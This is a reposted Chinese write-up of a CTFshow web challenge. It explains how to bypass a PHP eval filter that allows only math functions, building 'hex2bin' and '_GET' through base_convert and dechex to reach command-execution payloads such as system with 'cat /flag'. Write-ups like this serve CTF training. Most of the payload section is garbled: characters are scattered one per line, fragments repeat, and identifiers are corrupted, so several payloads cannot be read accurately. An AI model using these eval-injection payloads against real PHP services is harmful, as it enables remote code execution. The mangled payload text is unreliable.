    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

代码审计

代码接受GET传参

c

,保存在

content

中,并对参数长度进行了限制

<80

然后设置了一个黑名单,过滤了一些特殊字符,

空格

/

也给过滤了,所以

cat /flag

无门。

接下来提供了一个白名单,里面是一些数学函数,并提供了一个常用数学函数的链接,可以查到这些函数的用法。

都满足以上条件后,使用

eval

来执行传入的参数。

分析到这里,只能利用白名单中提供的函数来构造命令,用到的函数有:

  • base_convert():在任意进制之间转换数字
  • dechex():将十进制转换成十六进制
  • hex2bin():将十六进制转换成ascii字符

**思路是:先利用

dechex()

将GET传入的十进制数转换成十六进制,再利用

hex2bin()

将得到的十六进制数转换成ascii字符串。又因为白名单里没有

hex2bin()

这个函数,所以需要利用

base_convert()

来将GET传入的十进制数转换成三十六进制(因为三十六进制中含有数字字母)构造出

hex2bin

,最后将分别传入的字符串拼接即可构造成功。**

*Trick:十进制数

37907361743

转换成三十六进制之后正好就是

hex2bin

因为代码中对传入的参数

c

做了长度限制,但可以通过传入其它参数,在构造出来的语句中调用即可。

这里还涉及到一个知识点,PHP中可以将函数名保存在一个变量中,然后使用这个变量来替代函数名,例如:

$a = 'dechex';
echo $a(10);    // a

利用以上知识点,尝试构造如下payload:

?c=$_GET[a]($_GET[b])&a=system&b=cat /flag

构造过程如下:

base_convert(37907361743, 10, 36);        =>        hex2bin
dechex(1598506324);                        =>        5f474554
hex2bin('5f474554');                    =>        _GET

($$pi){pi}(($$pi){abs})                 =>         ($_GET){pi}($_GET){abs}  //{}可以代替[]

综上:
$pi = base_convert(37907361743, 10, 36);
$pi = $pi(dechex(1598506324));
echo $pi;    // _GET,即此时的$pi就是_GET

拼接形成payload:

?c=

      p 
     
    
      i 
     
    
      = 
     
    
      b 
     
    
      a 
     
    
      s 
     
     
     
       e 
      
     
       c 
      
     
    
      o 
     
    
      n 
     
    
      v 
     
    
      e 
     
    
      r 
     
    
      t 
     
    
      ( 
     
    
      37907361743 
     
    
      , 
     
    
      10 
     
    
      , 
     
    
      36 
     
    
      ) 
     
    
      ( 
     
    
      d 
     
    
      e 
     
    
      c 
     
    
      h 
     
    
      e 
     
    
      x 
     
    
      ( 
     
    
      1598506324 
     
    
      ) 
     
    
      ) 
     
    
      ; 
     
    
      ( 
     
    
   
     pi=base_convert(37907361743,10,36)(dechex(1598506324));( 
    
   
 pi=basec​onvert(37907361743,10,36)(dechex(1598506324));( 
  
   
    
    
      p 
     
    
      i 
     
    
      ) 
     
     
     
       p 
      
     
       i 
      
     
    
      ( 
     
    
      ( 
     
    
   
     pi){pi}(( 
    
   
 pi)pi(($pi){abs})&pi=system&abs=cat%20/flag

?c=

      p 
     
    
      i 
     
    
      = 
     
    
      b 
     
    
      a 
     
    
      s 
     
     
     
       e 
      
     
       c 
      
     
    
      o 
     
    
      n 
     
    
      v 
     
    
      e 
     
    
      r 
     
    
      t 
     
    
      ( 
     
    
      37907361743 
     
    
      , 
     
    
      10 
     
    
      , 
     
    
      36 
     
    
      ) 
     
    
      ( 
     
    
      d 
     
    
      e 
     
    
      c 
     
    
      h 
     
    
      e 
     
    
      x 
     
    
      ( 
     
    
      1598506324 
     
    
      ) 
     
    
      ) 
     
    
      ; 
     
    
   
     pi=base_convert(37907361743,10,36)(dechex(1598506324)); 
    
   
 pi=basec​onvert(37907361743,10,36)(dechex(1598506324)); 
  
   
    
    
      p 
     
    
      i 
     
     
     
       p 
      
     
       i 
      
     
    
      ( 
     
    
   
     pi{pi}( 
    
   
 pipi($pi{abs})&pi=system&abs=cat flag.php

?c=(

      p 
     
    
      i 
     
    
      = 
     
    
      b 
     
    
      a 
     
    
      s 
     
     
     
       e 
      
     
       c 
      
     
    
      o 
     
    
      n 
     
    
      v 
     
    
      e 
     
    
      r 
     
    
      t 
     
    
      ) 
     
    
      ( 
     
    
      22950 
     
    
      , 
     
    
      23 
     
    
      , 
     
    
      34 
     
    
      ) 
     
    
      ( 
     
    
   
     pi=base_convert)(22950,23,34)( 
    
   
 pi=basec​onvert)(22950,23,34)(pi(76478043844,9,34)(dechex(109270211257898)))

?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)asinhpi))

?c=

      p 
     
    
      i 
     
    
      = 
     
    
      ( 
     
    
      i 
     
     
     
       s 
      
     
       n 
      
     
    
      a 
     
     
     
       n 
      
     
       ( 
      
     
    
      6 
     
    
      ) 
     
    
      . 
     
    
      ( 
     
    
      4 
     
    
      ) 
     
    
      ) 
     
    
      . 
     
    
      ( 
     
    
      t 
     
    
      a 
     
     
     
       n 
      
     
       ( 
      
     
    
      1 
     
    
      ) 
     
    
      . 
     
    
      ( 
     
    
      5 
     
    
      ) 
     
    
      ) 
     
    
      ; 
     
    
   
     pi=(is_nan^(6).(4)).(tan^(1).(5)); 
    
   
 pi=(isn​an(6).(4)).(tan(1).(5));pi=$ 
  
   
    
    
      p 
     
    
      i 
     
    
      ; 
     
    
   
     pi; 
    
   
 pi;pi{0}($pi{1})&0=system&1=cat%20flag.php


  
   
    
    
      p 
     
    
      i 
     
    
      = 
     
    
      b 
     
    
      a 
     
    
      s 
     
     
     
       e 
      
     
       c 
      
     
    
      o 
     
    
      n 
     
    
      v 
     
    
      e 
     
    
      r 
     
    
      t 
     
    
      , 
     
    
   
     pi=base_convert, 
    
   
 pi=basec​onvert,pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

//要在请求头里面加一个 1:tac flag.php 见下图

标签: web安全 php 前端

本文转载自: https://blog.csdn.net/m0_72655585/article/details/140508207
版权归原作者 薄荷色草地芬芳像风没有形状 所有, 如有侵权,请联系我们删除。

“CTFshow-web入门-rce-web29-124”的评论:

还没有评论